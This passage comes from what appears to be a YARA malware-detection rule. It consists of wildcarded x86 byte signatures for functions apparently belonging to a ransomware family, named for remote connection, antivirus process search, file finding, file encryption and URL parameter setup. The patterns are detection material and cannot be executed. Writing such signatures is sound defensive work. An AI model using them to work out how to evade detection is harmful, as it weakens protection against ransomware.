?? ?? ?? 03 C2 3B C3 72 ?? 33 FF 89 7C 24 ?? 8B 1D ?? ?? ?? ?? 85 C9 0F - 84 ?? ?? ?? ?? 8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68 - ?? ?? ?? ?? 52 FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? - 56 FF 74 24 ?? FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C6 - ?? 03 C6 68 ?? ?? ?? ?? 50 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 C7 - 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? 89 74 24 ?? FF D3 40 85 F6 74 ?? 3B 44 24 ?? 73 ?? - 8D 0C 06 89 44 24 ?? 89 4C 24 ?? 89 74 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3 - 40 85 F6 74 ?? 03 44 24 ?? 3B 44 24 ?? 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33 - F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 8B 7C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? - 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6 - FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? EB ?? 8D 49 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? - 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 8B 1D ?? - ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D3 56 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 3C 46 57 E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68 ?? ?? ?? ?? 57 FF D3 68 - ?? ?? ?? ?? 57 FF D3 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68 - ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? - FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34 47 - FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 - C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 - ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? - ?? 66 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 74 24 ?? 58 58 8D 44 24 ?? 50 57 FF - D3 8B 5C 24 ?? 8B 35 ?? ?? ?? ?? 53 FF D6 6A ?? C1 E0 ?? 83 C0 ?? 68 ?? ?? ?? ?? 50 - 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B F8 53 89 7C 24 ?? FF D6 8D 04 C5 ?? ?? ?? ?? - 85 FF 74 ?? 3B 44 24 ?? 72 ?? 33 FF 53 FF D6 8B 0D ?? ?? ?? ?? 8B F0 89 74 24 ?? 85 - C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 6A ?? 68 ?? ?? ?? ?? - 53 FF 15 ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? - 53 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 5C 24 ?? 03 F6 8B D6 8B CB E8 ?? - ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? - ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 57 FF D3 - 6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D 48 - ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33 F6 - FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 - 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24 ?? - 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 7C 24 ?? 8D 54 24 ?? 6A ?? 57 8B - CE C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68 - ?? ?? ?? ?? 50 8B 44 24 ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 68 ?? ?? - ?? ?? 6A ?? FF 74 24 ?? FF D3 33 F6 EB ?? 8B 4C 24 ?? 85 C9 74 ?? 8B 45 ?? 89 08 8B - 44 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 - 24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 EB ?? 8B 7C 24 ?? 83 7C 24 ?? ?? - 75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D3 BE ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? - FF D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B C6 5E 5B 8B E5 5D C3 - } - $remote_connection_v2_1 = { - 53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45 ?? ?? - ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8 FF D6 - 89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15 ?? ?? - ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 - ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 - 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF 15 ?? - ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83 EC ?? - 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 FF 75 ?? 8B 75 ?? 8D 4D ?? 56 E8 - ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? C7 45 ?? - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33 - FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ?? FF 75 ?? FF - D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ?? ?? 8B C7 5F - 5E 5B 8B E5 5D C3 - } - $search_antivirus_processes_v4_1_2 = { - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B F8 53 6A ?? - 89 7D ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 89 1E 83 FF ?? 74 ?? 56 57 FF 15 ?? ?? - ?? ?? 33 DB 8D 7E ?? 57 FF B4 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 76 ?? - 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 43 83 FB ?? 72 ?? 8B 7D ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 85 - F6 74 ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 - 5D C3 - } - $find_files_v4_1_2 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 33 FF 89 54 24 ?? 8B F1 89 7C 24 ?? 39 - 7D ?? 75 ?? 8D 54 24 ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 85 C0 75 ?? 85 DB 75 ?? 33 C0 E9 - ?? ?? ?? ?? 33 DB 43 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 74 ?? 8D 54 24 ?? - 89 7C 24 ?? 8B CE E8 ?? ?? ?? ?? 89 44 24 ?? 39 7C 24 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 56 8D 04 46 89 44 24 ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ?? - ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 ?? 66 89 11 83 F8 ?? 75 ?? BF ?? ?? ?? ?? E9 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? - 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? F6 - 44 24 ?? ?? 74 ?? 85 DB 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? - ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? - ?? ?? 56 FF 15 ?? ?? ?? ?? 57 EB ?? FF 74 24 ?? 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 59 - 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E - 5B 8B E5 5D C3 - } - $crypt_files_v4_1_2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 89 4D ?? 33 DB 57 B9 ?? ?? ?? ?? 89 5D ?? 8B F2 E8 - ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 84 - ?? ?? ?? ?? 53 53 6A ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE - ?? 0F 84 ?? ?? ?? ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 51 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 89 45 ?? B9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 89 5D ?? 89 - 5D ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D - 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D - ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 45 ?? 81 F9 ?? ?? ?? ?? 6A ?? 5A 0F 42 C2 01 8F ?? ?? - ?? ?? 8B 55 ?? 8D 8D ?? ?? ?? ?? 11 9F ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 50 FF 75 ?? 89 - 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 56 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ?? - ?? 85 C0 75 ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 ?? 57 56 FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 8B 7D ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 53 8D 45 ?? 50 68 - ?? ?? ?? ?? 57 56 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? - ?? ?? 56 FF 15 ?? ?? ?? ?? 8B CF E8 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 33 C0 8D - 48 ?? 89 4D ?? EB - } - $remote_connection_v4_1_2 = { - 55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3 - 8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ?? - ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? - 83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68 - ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF - 75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 FF 47 EB ?? FF - 15 ?? ?? ?? ?? 8B 45 ?? 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B - E5 5D C2 - } - $url_parameters_setup_v4_1_2 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 15 ?? ?? ?? ?? 33 FF 57 57 57 FF 15 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 57 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? - ?? ?? ?? 83 EC ?? 33 DB 43 53 83 EC ?? 53 51 53 51 53 51 53 51 53 83 EC ?? 53 51 53 - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 50 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF - D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? - ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ?? - ?? 8B 35 ?? ?? ?? ?? FF D6 FF 35 ?? ?? ?? ?? 03 C0 A3 ?? ?? ?? ?? FF D6 03 C0 8B D0 - E8 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 57 57 68 ?? ?? ?? ?? 57 57 FF 15 ?? ?? ?? ?? - 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 BB ?? ?? ?? ?? 53 - FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? - FF D6 E8 ?? ?? ?? ?? 85 FF 74 ?? 6A ?? 57 FF 15 ?? ?? ?? ?? E8 - } - $url_parameters_setup_v4 = { - 55 8B EC 81 EC ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF - 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 04 45 ?? ?? ?? ?? 50 6A ?? FF 15 ?? - ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF - 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? - ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 35 ?? ?? ?? - ?? FF D6 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 C0 8B D0 E8 ?? ?? ?? ?? 6A ?? FF 15 - ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? - ?? FF D6 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 - 68 ?? ?? ?? ?? FF D6 E8 ?? ?? ?? ?? E8 - } - $search_antivirus_processes_v4 = { - 55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? FF D6 8B 5D ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 89 03 C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? FF D6 8B F8 89 7D ?? 85 FF 74 ?? 6A ?? 6A ?? C7 07 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 68 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 5F 5E - 33 C0 5B 8B E5 5D C2 ?? ?? 33 C9 33 F6 57 50 89 4D ?? 89 4D ?? 89 4D ?? 89 75 ?? FF - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 49 ?? 85 F6 0F 85 ?? ?? ?? ?? 83 C7 ?? EB - ?? 8D 49 ?? 57 FF 74 B5 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 46 83 FE ?? 72 ?? 8B 75 ?? - EB ?? 83 7D ?? ?? 57 FF 33 C7 45 ?? ?? ?? ?? ?? 75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? - ?? FF 33 FF 15 ?? ?? ?? ?? EB ?? 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF 33 FF D6 - FF 45 ?? 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 75 ?? 8D 0C 41 B8 ?? ?? ?? ?? 81 F9 ?? ?? - ?? ?? 89 4D ?? 0F 47 F0 89 75 ?? 8B 7D ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? - FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 03 66 83 38 ?? 74 - ?? 50 FF 15 ?? ?? ?? ?? 8B 0B 33 D2 66 89 54 41 ?? 8B 45 ?? 8B 4D ?? 89 08 8B 35 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 57 FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 85 FF 75 - ?? 68 ?? ?? ?? ?? 57 FF 33 FF D6 8B C7 5F 5E 5B 8B E5 5D C2 - } - $find_files_v4 = { - C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 66 83 3E ?? 0F 84 ?? ?? ?? - ?? 8D 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 7C 24 ?? ?? 89 44 24 - ?? 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 04 - 46 89 44 24 ?? FF D7 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 D2 89 44 24 - ?? 66 89 11 83 F8 ?? 75 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B - E5 5D C3 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 44 24 ?? 50 56 FF D7 F6 - 44 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 - ?? 68 ?? ?? ?? ?? 56 FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 56 - FF D7 6A ?? 8B D3 8B CE E8 ?? ?? ?? ?? EB ?? 53 8D 54 24 ?? 8B CE E8 ?? ?? ?? ?? 83 - C4 ?? 8B 44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E - 33 C0 5B 8B E5 5D C3 - } - $crypt_files_v4 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 33 DB 89 4D ?? 68 ?? ?? ?? - ?? 53 8B F2 89 5D ?? FF 15 ?? ?? ?? ?? 8B F8 8D 55 ?? 56 57 8D 4D ?? 89 7D ?? E8 ?? - ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B - 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? - 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 88 5D ?? 48 75 ?? 8B 45 ?? 89 85 ?? - ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B - 45 ?? 89 45 ?? 8B 45 ?? 6A ?? 89 45 ?? 8B 45 ?? 68 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 68 - ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 89 5D ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 6A ?? C7 05 ?? ?? - ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? FF D3 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? - 89 45 ?? FF D3 33 C9 8B D8 89 4D ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? FF 75 ?? 56 FF - 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 3D - ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 42 CA 01 87 ?? ?? ?? ?? 8B 55 ?? 83 97 ?? ?? ?? ?? ?? - 8B 7D ?? 89 4D ?? 8D 8D ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B C7 F7 D8 99 6A - ?? 6A ?? 52 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 - 57 53 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 - 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 8B 7D ?? 85 C9 